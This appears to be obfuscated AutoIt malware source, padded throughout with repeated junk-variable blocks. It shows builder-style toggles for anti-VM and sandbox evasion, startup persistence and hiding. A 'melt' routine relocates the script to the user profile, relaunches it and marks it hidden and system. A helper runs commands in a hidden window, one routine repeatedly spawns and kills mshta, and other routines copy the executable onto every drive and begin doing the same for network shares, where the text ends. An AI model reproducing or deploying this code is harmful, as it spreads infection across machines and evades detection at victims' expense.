- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $vm = "/-antivm-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $vm) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("vm")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $start = "/-start-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $start) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("startup")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $melt = "/-melt-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $melt) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("melt")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $inject = "/-inject-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringReplace($path, $inject, "") <> $path Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DirCreate(@UserProfileDir & "\" & $randoms & "\")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DirCreate(@UserProfileDir & "\" & $randoms & "\")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite(@UserProfileDir & "\" & $randoms & "\jects.txt", "")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DirCreate(@UserProfileDir & "\" & $randoms & "\")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func get_binded_settings($getfiledata, $stringtoget)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return StringTrimLeft($getfiledata, StringInStr($getfiledata, $stringtoget) - 1 + StringLen($stringtoget))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $task = "/-task-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $task) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("task")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $sandbox = "/-sandbox-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $sandbox) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("sandbox")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $hide = "/-hide-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $hide) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("hide")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func melt()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $pathto = @UserProfileDir
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If FileGetShortName(@ScriptDir) = FileGetShortName($pathto) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileMove(@ScriptFullPath, $pathto & "\" & @ScriptName, 1)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Run($pathto & "\" & @ScriptName)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib(@UserProfileDir & "\" & @ScriptName, "+SH")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Exit
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func _random($imin, $imax, $iinteger = 0)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $irandom = Random($imin, $imax, $iinteger)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If @error Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return $imin
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return $irandom
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func _rundos($scommand)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return SetError(@error, @extended, $nresult)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func confuser()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $counter = 0
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- While $counter <= 6
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(5000)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- ShellExecute(@SystemDir & "\mshta.exe")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $counter = $counter + 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- _rundos("taskkill /IM mshta.exe")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- WEnd
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func usb()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $gweg = DriveGetDrive("ALL")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If IsArray($gweg) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- For $i = 1 To $gweg[0]
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If DriveSpaceFree($gweg[$i]) > 100 Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileCopy(@AutoItExe, $gweg[$i] & "\" & @ScriptName)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Next
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func network()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $gwh = DriveGetDrive("all")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT @error Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- For $i = 1 To $gwh[0]
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $type = DriveGetType($gwh[$i])
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If $type = "Network" Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If DriveSpaceFree($gwh[$i] & "\") > 10 Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(10)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
